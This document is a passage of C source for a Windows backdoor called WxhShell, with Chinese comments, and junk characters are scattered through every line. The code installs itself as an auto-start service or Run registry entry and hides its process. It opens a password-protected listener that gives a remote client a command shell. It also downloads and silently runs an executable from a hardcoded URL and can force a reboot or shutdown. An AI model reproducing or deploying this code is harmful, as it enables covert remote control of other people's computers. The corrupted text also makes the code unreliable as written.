    else { 4^Ss\$*  
    closesocket(wsh); 1=Kt.tuf  
    ExitThread(0); b/{$#[oP`  
    } 8NkyT_\  
    break; dl.gCiI  
    } Cag^$nj  
  // 关机 w}]BJ<C  
  case 'd': { 0QP=$X  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); })+iAxR  
    if(Boot(SHUTDOWN)) G|o O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .mHVJ5^:4\  
    else { enx+,[  
    closesocket(wsh); tQ *?L  
    ExitThread(0); ~GE|,Np  
    } Ay7PU  
    break; AGl#f\_^  
    } /X]gm\x7s  
  // 获取shell s~QIs  
  case 's': { /Y=_EOS  
    CmdShell(wsh); s3Wjhw/  
    closesocket(wsh); j0=F__H#@  
    ExitThread(0); m@Dra2Cv'@  
    break; o~<jayqU  
  } D<hX%VJ%M  
  // 退出 TMGYNb%<bX  
  case 'x': { ihJ!]#Fbm  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ch2m Ei(  
    CloseIt(wsh); +DG-MM%\  
    break; `_f&T}]  
    } K ton$%Li  
  // 离开 Egz6rRCvg  
  case 'q': { `$Um  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); q*Oj5;  
    closesocket(wsh); ?S;z!) H)P  
    WSACleanup(); <:!E'WT#f  
    exit(1); 7'OR ;b$  
    break; * V7bALY  
        } r$v \\^?2  
  } Wks zN h  
  } ]x).C[^  
ce;$)Ff\  
  // 提示信息 [p' A?-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oxBTm|j7  
} VX*+:  
  } T X iu/g(  
] g<$f#S  
  return; $EHF f$M  
} ub!l Hl  
\!hd|j?&6  
// shell模块句柄 -Bq]E,Xf)  
int CmdShell(SOCKET sock) x ;~;Ah.p  
{ ;HBKOe_3  
STARTUPINFO si; rb}fP #j  
ZeroMemory(&si,sizeof(si)); fWC(L s  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +PnuWK$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7Vk9{x$z  
PROCESS_INFORMATION ProcessInfo; UD8e,/  
char cmdline[]="cmd"; 5t-d+vB  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6ddRFpe  
  return 0; (-Q~@Q1  
} ^I|i9MH  
W[k rq_c-  
// 自身启动模式 f[vm]1#  
int StartFromService(void) ]&;In,z  
{ TQ:h[6v  
typedef struct 0i"2s}^+_  
{ {\`y)k 7  
  DWORD ExitStatus; V FM!K$_  
  DWORD PebBaseAddress; |Eh2#K0x4G  
  DWORD AffinityMask; CzY18-L@EX  
  DWORD BasePriority; !4`:(G59  
  ULONG UniqueProcessId; }z#M!~  
  ULONG InheritedFromUniqueProcessId; Q>$lf.)  
}   PROCESS_BASIC_INFORMATION; 1ni72iz\  
FA>.1EI  
PROCNTQSIP NtQueryInformationProcess; n&o"RE 0~0  
t*; KxQ+'?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; am !ssF5s  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2D:,(  
H)h^|A/vO  
  HANDLE             hProcess; 7x77s  
  PROCESS_BASIC_INFORMATION pbi; `\|@w@f|;  
Nmd{C(^o  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); St(jrZb  
  if(NULL == hInst ) return 0; $&qLr KJ  
B|V!=r1%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); r\#nBoo(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ZXL'R |?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); gG@4MXq.  
?w!8;xS8  
  if (!NtQueryInformationProcess) return 0; ~NPhVlT  
6`iYIXnz  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *zN~x(0{E  
  if(!hProcess) return 0; `k*;%}X\  
`#w#!@s#@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2@?X>,  
(,t[`z  
  CloseHandle(hProcess); GRJ6|T$!?$  
VwRZgL  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )t3`O$J  
if(hProcess==NULL) return 0; C-)d@LWI  
tl{{Vc[  
HMODULE hMod; 1=5HQ~|[TO  
char procName[255]; Z9NND  
unsigned long cbNeeded; 3bXfR,U  
7.Z-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); h)fsLzn]Tf  
x#&_/oqAk  
  CloseHandle(hProcess); jjQDw=6  
q9p31b3  
if(strstr(procName,"services")) return 1; // 以服务启动 TBrw ir  
D vvi)/<  
  return 0; // 注册表启动 u{va2n/  
} q]C_idK=  
8X.= 6M  
// 主模块 XN6$TNsD$  
int StartWxhshell(LPSTR lpCmdLine) 1<Mb@t  
{ xo?'L&%  
  SOCKET wsl; V=5S=7 Z:  
BOOL val=TRUE; cr<j<#(Z}  
  int port=0; Y3~z#<  
  struct sockaddr_in door; K?[Vz[-Fc  
KAD2_@l  
  if(wscfg.ws_autoins) Install(); h,B4Tg'  
1ig*Xp[  
port=atoi(lpCmdLine);  oJ*,a  
` L 1+j  
if(port<=0) port=wscfg.ws_port; N8df1>mW  
aNY-F)XWa  
  WSADATA data; ykJ+LS{+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ybsw{[X>M  
%7 yQ0'P  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,u^{zYoW  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); rv(N0p/  
  door.sin_family = AF_INET; aem gGw<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); R`DzVBLl  
  door.sin_port = htons(port); Q0Do B  
^`i z%^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { R4VX*qkB  
closesocket(wsl); 5@r6'Z  
return 1; u-y?i`  
} ,SNrcwv  
Ipq0 1 +  
  if(listen(wsl,2) == INVALID_SOCKET) { )`{m |\b  
closesocket(wsl); xM!9$v  
return 1; $0K@= 7ms  
} %XeN_ V  
  Wxhshell(wsl); .)+c01  
  WSACleanup(); {4A,&pR  
gED|2%BXb  
return 0; G/FDD{y  
uq-`1m }  
} CJCxL\  
WkE="E}  
// 以NT服务方式启动 Li|~%E1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?!jJxhK<h  
{ YkMFU'?[  
DWORD   status = 0; 0Fon`3(^\  
  DWORD   specificError = 0xfffffff; \-]tvgA~&  
n.a2%,|v  
  serviceStatus.dwServiceType     = SERVICE_WIN32; H"^9g3 U  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; f OR9N/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *yw!Y{e!9  
  serviceStatus.dwWin32ExitCode     = 0; U ^GVz%\  
  serviceStatus.dwServiceSpecificExitCode = 0; z8'zH>  
  serviceStatus.dwCheckPoint       = 0; q78OP}  
  serviceStatus.dwWaitHint       = 0; LTzdg >\oJ  
@v@F%JCZ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _eq$C=3Ta  
  if (hServiceStatusHandle==0) return; #BcUE?K*N  
41d+z>a]  
status = GetLastError(); <z2.A/L  
  if (status!=NO_ERROR) 6'N_bNW  
{ gCPH>8JwS0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9O-~Ws ;  
    serviceStatus.dwCheckPoint       = 0; `?R{sNr.  
    serviceStatus.dwWaitHint       = 0; _*?qOmf=  
    serviceStatus.dwWin32ExitCode     = status; O9d"Z$~n=j  
    serviceStatus.dwServiceSpecificExitCode = specificError; <`=Kt[_BQ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); VVAcbAGJ  
    return; UCmy$aW  
  } -Z:x!M[Xr  
QN$s %&O  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <'$>&^!^  
  serviceStatus.dwCheckPoint       = 0; 7]1a3Jk  
  serviceStatus.dwWaitHint       = 0; !*~QB4\2b  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); hx;kNcPbI  
} i.W*Go+  
gl`J(  
// 处理NT服务事件,比如:启动、停止 YJHb\Cf.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) `Rfe*oAf  
{ 5NN;Fw+  
switch(fdwControl) (!5Pl`:j"  
{ \/j,  
case SERVICE_CONTROL_STOP: s+fxv(,"c  
  serviceStatus.dwWin32ExitCode = 0; <yEApWd;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7<)  
  serviceStatus.dwCheckPoint   = 0; &xB9;v3  
  serviceStatus.dwWaitHint     = 0; xrBM`Bj0@  
  { Kf[.@_TD<1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q'+ARW48  
  } 6pS}\aD  
  return; sCY  
case SERVICE_CONTROL_PAUSE: 7bO>[RQB  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; gI2'[OU  
  break; _<mY|  
case SERVICE_CONTROL_CONTINUE: ?t6wozib2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {*hvzS{1d  
  break; e~(e&4pb  
case SERVICE_CONTROL_INTERROGATE: !idVF!xG  
  break; :7.k E  
}; D=3Z] 'A  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z7:* ,X  
} @J 5TDq @  
B=n90XO |  
// 标准应用程序主函数 j #: ARb  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) p6BDhT(RS  
{ xFThs,w  
i?M-~EKu  
// 获取操作系统版本 n.'Ps+G(  
OsIsNt=GetOsVer(); R\7r!38  
GetModuleFileName(NULL,ExeFile,MAX_PATH); T{^mh(3/"  
NrXIaN  
  // 从命令行安装 `S-l.zSZ4B  
  if(strpbrk(lpCmdLine,"iI")) Install(); hg0{x/Dgny  
d`flYNg4  
  // 下载执行文件 TW(X#T@Z6I  
if(wscfg.ws_downexe) { { ?jXPf  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]R}(CaT1  
  WinExec(wscfg.ws_filenam,SW_HIDE); yl@Nyu  
} S _U |w9q  
8LPWT!S  
if(!OsIsNt) { u ynudO  
// 如果时win9x,隐藏进程并且设置为注册表启动 zY*~2|q,s  
HideProc(); Cc{{9Ud  
StartWxhshell(lpCmdLine); $,/E"G`  
} N3\RXXY  
else 2p;I<C:Eo  
  if(StartFromService()) H? z~V-8  
  // 以服务方式启动 2BF455e   
  StartServiceCtrlDispatcher(DispatchTable); O:rf DO  
else {j`8XWLZZN  
  // 普通方式启动 L;M@]  
  StartWxhshell(lpCmdLine); 2!W[ff@~7  
d(V4;8a0  
return 0; Bnk<e  
} <Rn-B).3bs  
L?|}!  
U<sGj~"#  
v,QvCozOz  
=========================================== l/nBin&YGv  
Vrlqje_Q  
tw zV-8\  
Vi^vG`L9  
-u"|{5? '  
i4k [#x  
" Btzes.  
t@MUNW`Q  
#include <stdio.h> 0`WFuFi^o  
#include <string.h> EHhc2^e  
#include <windows.h> j8 2w 3  
#include <winsock2.h> R(&3})VOa  
#include <winsvc.h> _fY9u2Y  
#include <urlmon.h> . IY@Q  
ey9hrRMR  
#pragma comment (lib, "Ws2_32.lib") E`qX|n  
#pragma comment (lib, "urlmon.lib") jwLZC  
d(RMD  
#define MAX_USER   100 // 最大客户端连接数 9a]o?>`E  
#define BUF_SOCK   200 // sock buffer ,aS+RJNM  
#define KEY_BUFF   255 // 输入 buffer z<fd!g+^  
[$d]U.  
#define REBOOT     0   // 重启 |"%OI~^%  
#define SHUTDOWN   1   // 关机 >iK LC  
(Ly^+Hjg  
#define DEF_PORT   5000 // 监听端口 $vO<v<I'Gb  
#m<uG5l`  
#define REG_LEN     16   // 注册表键长度 [!3cWJCt  
#define SVC_LEN     80   // NT服务名长度 )jUPMIo  
[ypE[   
// 从dll定义API :XAyMK7   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )l m7ly8a|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9-_Lc<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8|\ -(:v  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); b~* iL!<  
$`\qY ^.(  
// wxhshell配置信息 :a2[d1  
struct WSCFG { s.;'-oA  
  int ws_port;         // 监听端口 kxEq_FX  
  char ws_passstr[REG_LEN]; // 口令 N>a~k}pPH  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^q& Rl\  
  char ws_regname[REG_LEN]; // 注册表键名 N\.g+ W  
  char ws_svcname[REG_LEN]; // 服务名 "'Gq4<&y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 F,VWi$Po\N  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 H$^9#{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 SD%3B!cpX  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8;<aco/62  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" q\jq9)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1GkoE  
' CJ_&HR  
}; Uy|!f]"?  
$'d,X@}8  
// default Wxhshell configuration 1uKIO{d @  
struct WSCFG wscfg={DEF_PORT, ,+h<qBsV@  
    "xuhuanlingzhe", <v_Wh@m  
    1, CXz9bhn<4  
    "Wxhshell", FcZ)^RQ4G  
    "Wxhshell", | ~>7_:  
            "WxhShell Service", lsj9^z7  
    "Wrsky Windows CmdShell Service", {0fQE@5@  
    "Please Input Your Password: ", iI'ib-d  
  1, :?z @T[-  
  "http://www.wrsky.com/wxhshell.exe", u-jc8W`Zd  
  "Wxhshell.exe" AEWrrE  
    }; D(|+z-}M  
9+<A7PM1T  
// 消息定义模块 ABp8PD  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; M e:l)8+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !h}Vz  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; aA>!p{/x  
char *msg_ws_ext="\n\rExit."; y,jpd#Y  
char *msg_ws_end="\n\rQuit."; D8E^[w!  
char *msg_ws_boot="\n\rReboot..."; sD?Ynpt  
char *msg_ws_poff="\n\rShutdown..."; %cDTq&Q  
char *msg_ws_down="\n\rSave to "; uhaHY`w  
Ywt9^M|z;  
char *msg_ws_err="\n\rErr!"; -%>Tjo@B n  
char *msg_ws_ok="\n\rOK!"; qSD`S1'2;  
A/lznBHR  
char ExeFile[MAX_PATH]; _*sd#  
int nUser = 0; ,SdxIhL  
HANDLE handles[MAX_USER]; *'M+oi  
int OsIsNt; z,dF Dl$  
Z RwN#?x  
SERVICE_STATUS       serviceStatus; G i(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6kR3[]:16v  
n++ak\  
// 函数声明 S_??G:i  
int Install(void); M1 o@v0  
int Uninstall(void); l$HBYA\Qh  
int DownloadFile(char *sURL, SOCKET wsh); Y Fj#{C.  
int Boot(int flag); cR55,DR,#W  
void HideProc(void); h;#^?v!+  
int GetOsVer(void); ?l @=}WN  
int Wxhshell(SOCKET wsl); ;.$vDin6  
void TalkWithClient(void *cs); &"Cy&[  
int CmdShell(SOCKET sock); Iv9U4  
int StartFromService(void); \7$"i5  
int StartWxhshell(LPSTR lpCmdLine); XS&;8 PO  
c;yp}k]\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /=#~8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); t v`c" Pb  
T(cpU,Q  
// 数据结构和表定义 , :KJ({wM  
SERVICE_TABLE_ENTRY DispatchTable[] = ZN'B @E=p  
{ 0d~?|Nv -  
{wscfg.ws_svcname, NTServiceMain}, pD~."fb  
{NULL, NULL} md\Vw?PkU  
}; ,]9p&xu  
9&B #@cw  
// 自我安装 lPA}06hU  
int Install(void) 81I9xqvSd~  
{ 6*|EB|%n  
  char svExeFile[MAX_PATH]; *Kq;xM6Ck  
  HKEY key; &f)pU>Di  
  strcpy(svExeFile,ExeFile); j/ARTaO1]"  
}^n"t>Z8  
// 如果是win9x系统,修改注册表设为自启动 sVnpO$  
if(!OsIsNt) { H~ >\HV*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?4W6TSW-'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &RHx8zScP  
  RegCloseKey(key); Z)u_2e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +&M>J|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x;STt3M~  
  RegCloseKey(key); !0KN A1w,  
  return 0; =C)2DWJ1  
    } wwa)VgoS[  
  } tjne[p  
} ojIGfQV  
else { )g U#[}6H  
g+4x  
// 如果是NT以上系统,安装为系统服务 ~qA\u5sB9@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); N{Pa&/V  
if (schSCManager!=0) 7< ?Aou  
{ S[&yO-=p6  
  SC_HANDLE schService = CreateService oHu7<r  
  ( 2,h]Y=.s  
  schSCManager, u+pZ<Bb  
  wscfg.ws_svcname, kidv^`.H$w  
  wscfg.ws_svcdisp, ob[G3rfd@Z  
  SERVICE_ALL_ACCESS, 5'wFZ=>vMt  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ZNDjk  
  SERVICE_AUTO_START, QbWeQ[V{  
  SERVICE_ERROR_NORMAL, )fke;Y0  
  svExeFile, i>pUTT _[  
  NULL, mJVru0  
  NULL, ]qk`Yi  
  NULL, Q$yQ^ mG  
  NULL, Qg o| \=  
  NULL X#MC|Fzy@  
  ); @.QuIm8,  
  if (schService!=0) QT(]S>--n  
  { !]z4'*)W  
  CloseServiceHandle(schService);  O&dh<  
  CloseServiceHandle(schSCManager); W#x~x|(c  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); HJe6h. P  
  strcat(svExeFile,wscfg.ws_svcname); `cRRdD:dA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { v/Xz.?a\jF  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;s$ P?('  
  RegCloseKey(key); ECuNkmUI  
  return 0; *E/CNMn=E  
    } EPEn"{;U  
  }  I$fm"N  
  CloseServiceHandle(schSCManager); `TDS 4Y  
} J p0j  
} T&E'MB  
U\"FYTC  
return 1; =MmAnjo  
} x^YsXzu  
j>hBNz  
// 自我卸载 lBG"COu  
int Uninstall(void) CG!9{&F  
{ xl(R|D))  
  HKEY key; gI+dyoh  
`] Zil8n  
if(!OsIsNt) { *!}bU`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <$ ` ^  
  RegDeleteValue(key,wscfg.ws_regname); ;x u&%n[6@  
  RegCloseKey(key); A=wh&X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { msZ 3%L  
  RegDeleteValue(key,wscfg.ws_regname); OlsD  
  RegCloseKey(key); I-/-k.  
  return 0; MeO2 cy!5q  
  } Lhxg5cd  
} &?APY9\.  
} 9Om3<der  
else { ^^[A\'  
l+^4y_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Qf@ha  
if (schSCManager!=0) *Ud P1?Y  
{ p2wDk^$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Gmmh&Uj  
  if (schService!=0) [5MV$)"!j  
  { Ot~buf'|  
  if(DeleteService(schService)!=0) { %?O$xQ.<  
  CloseServiceHandle(schService); *HQ>tvUh  
  CloseServiceHandle(schSCManager); zi+NQOhR  
  return 0; edfb7prfTl  
  } mf gUf  
  CloseServiceHandle(schService); lnrs4s Km  
  } =n_>7@9l  
  CloseServiceHandle(schSCManager); &^F'ME  
} z3|5E#m  
} *7yrm&@nG  
SA,+oq(  
return 1; ded:yho   
} %$+bO/f  
O|&SL03Z8  
// 从指定url下载文件 aydf# [F  
int DownloadFile(char *sURL, SOCKET wsh) BvpUcICJ  
{  0gJ{fcI  
  HRESULT hr; eeOG(@@o(  
char seps[]= "/"; M4L<u,\1s  
char *token; yOm#c>X  
char *file; '.t{\  
char myURL[MAX_PATH]; FN D+Ok&  
char myFILE[MAX_PATH]; tr%VYc|}  
)JA^FQ5N  
strcpy(myURL,sURL); xbZR/!?  
  token=strtok(myURL,seps); T2ZN=)xZ1  
  while(token!=NULL) |h2=9\:]  
  {  75T+6 u  
    file=token; \`>f?}4  
  token=strtok(NULL,seps); -dH]_  
  } V`"Cd?R0Z  
d+IN-lR(  
GetCurrentDirectory(MAX_PATH,myFILE); #9]O92t2UV  
strcat(myFILE, "\\"); < *db%{  
strcat(myFILE, file); `s_k+ g  
  send(wsh,myFILE,strlen(myFILE),0); HurF4IsHk  
send(wsh,"...",3,0); nM H:7[x3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;^so;>F  
  if(hr==S_OK) 8MBvp*  
return 0; ?l ](RI  
else S1_):JvV  
return 1; a}kPc}n\  
3q0S}<h al  
} S+-V16{i  
X;yThb` iI  
// 系统电源模块 SM[VHNr,-  
int Boot(int flag) lxtt+R  
{ z_nY>_L83*  
  HANDLE hToken; IMHt#M`  
  TOKEN_PRIVILEGES tkp; X/A(8rvCr  
dY.NQ1@"  
  if(OsIsNt) { mZL0<vU@^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ihx[S!:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !+3nlG4cw  
    tkp.PrivilegeCount = 1; 6@ =ipPCR  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *30T$_PiX|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); li%A?_/m<&  
if(flag==REBOOT) { t^g+nguz  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) sO8F0@%aH(  
  return 0; UZ7ukn-  
} 23P7%\  
else { 3u1\zse  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @BI;H V%k  
  return 0; ~p\r( B7G  
} +Al* MusS  
  } ic?(`6N8  
  else { U/>l>J5  
if(flag==REBOOT) { kwrM3nq  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3F{R$M}  
  return 0; Lv:;}  
} )S|&3\  
else { 5_4 =(?<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) z KNac[:  
  return 0; T&]IPOH9  
} P +Sgbtc  
} D #C\| E:  
(xMq(g  
return 1; /Ca M(^W   
} 4'H)h'#C  
C@9K`N[*  
// win9x进程隐藏模块 "Q;Vy t  
void HideProc(void) k~=P0";  
{ 8,]wOxwqi  
FOS*X  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /7K7o8g  
  if ( hKernel != NULL ) *xDV8iu_  
  { E^x/v_,$w!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); e}2[g  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8D`TN8[W  
    FreeLibrary(hKernel); LN=#&7=$c  
  } a#+;BH 1  
#[y2nK3zF  
return; |5\: E}1  
} *):s**BJ$  
)C $1))  
// 获取操作系统版本 MO *7:hI  
int GetOsVer(void) @g1T??h   
{ kf_*=ER  
  OSVERSIONINFO winfo; iy|xF~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =+"-8tz8FV  
  GetVersionEx(&winfo); ro18%' RRI  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7E R!>l+  
  return 1; j.KV :zJU  
  else ^[1Xl7)`  
  return 0; r9~IR  
} qmq#(%Z <W  
BXUd i&'O  
// 客户端句柄模块 "tmr s_~  
int Wxhshell(SOCKET wsl) JgcMk]|'  
{ c)SQ@B@q  
  SOCKET wsh; Q,R|VI6Co  
  struct sockaddr_in client; d@ tD0s  
  DWORD myID; 1c:/c|shQ_  
/B5rWJ2AS  
  while(nUser<MAX_USER) +l>X Z  
{ e(jD[q  
  int nSize=sizeof(client); "_ON0._(/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ob|v$C  
  if(wsh==INVALID_SOCKET) return 1; 9zaSA,}  
EP6@5PNZ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); KZ|p_{0&  
if(handles[nUser]==0) ^- s`$lTp  
  closesocket(wsh); ;:P} s4p  
else ab*O7v  
  nUser++; W(PNw2  
  } u\=yY.   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &&te(DC\  
pwo @ S"  
  return 0; Qe]aI7Ei  
} 2z9N/SyN  
%wIb@km  
// 关闭 socket \Z625jt  
void CloseIt(SOCKET wsh) sh}eKwh  
{ 'HvJ]}p  
closesocket(wsh); GX%r-  
nUser--; &M2fcw?  
ExitThread(0); $K_-I8e|  
} VQn]"G( `  
Y2(,E e2  
// 客户端请求句柄 ;et(Yi;9  
void TalkWithClient(void *cs) /mnV$+BE  
{ M3H^s_  
v|2+7N:[;  
  SOCKET wsh=(SOCKET)cs; gO kum_  
  char pwd[SVC_LEN]; 6jz~q~ I  
  char cmd[KEY_BUFF]; &a";jO GB  
char chr[1]; `5Em: 8 M  
int i,j; ]!cLFXa  
d>x(Bj6  
  while (nUser < MAX_USER) { T@Th?  
BU=Ta$#BZ  
if(wscfg.ws_passstr) { u$+nl~p[&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NzbHg p  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); MDfC%2Q  
  //ZeroMemory(pwd,KEY_BUFF); )7a 4yTg!~  
      i=0; mlbSs_LT^  
  while(i<SVC_LEN) { d&%}u1 .  
0Yfz?:e  
  // 设置超时 #=I5_u  
  fd_set FdRead; u7bji>j  
  struct timeval TimeOut; nLnzl  
  FD_ZERO(&FdRead); '#CYw=S+  
  FD_SET(wsh,&FdRead); oN Rp  
  TimeOut.tv_sec=8; &p.7SPQ8/  
  TimeOut.tv_usec=0; )Z63 cr/  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); JO\KTWtjO  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ilFS9A3P  
tj[-|h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8<Ex`  
  pwd=chr[0]; N-}|!pqb  
  if(chr[0]==0xd || chr[0]==0xa) { Q=#!wWVP  
  pwd=0; jQpG7H  
  break; k]yv#Pa  
  } J24H}^~na  
  i++; wyv%c/WlS  
    } ]}nX$xy  
(z X&feq  
  // 如果是非法用户,关闭 socket iI!g1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); YG>6;g)Zm  
} 0<]]q[pr  
-d6PXf5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =}[m_rp&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wO"ezQ  
=+VI{~.|}  
while(1) { &_$xMM,X  
K=!?gd!Vw  
  ZeroMemory(cmd,KEY_BUFF); !&Us^Q^  
+!"7=?}  
      // 自动支持客户端 telnet标准   g (V_&Y  
  j=0; 9,0}}3J  
  while(j<KEY_BUFF) { 5!7vD|6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }xytV5a^  
  cmd[j]=chr[0]; 61`tQFx,  
  if(chr[0]==0xa || chr[0]==0xd) { "S3U]zw0_  
  cmd[j]=0; LH>h]OTQF  
  break; !24g_R[3"  
  } WFMQ;  
  j++; d x"9jFn  
    } p&3~n: Fo  
"Kf4v|6;  
  // 下载文件 Q&?B^[N*Q  
  if(strstr(cmd,"http://")) { GlaZZ,   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); l6HT}x7OiH  
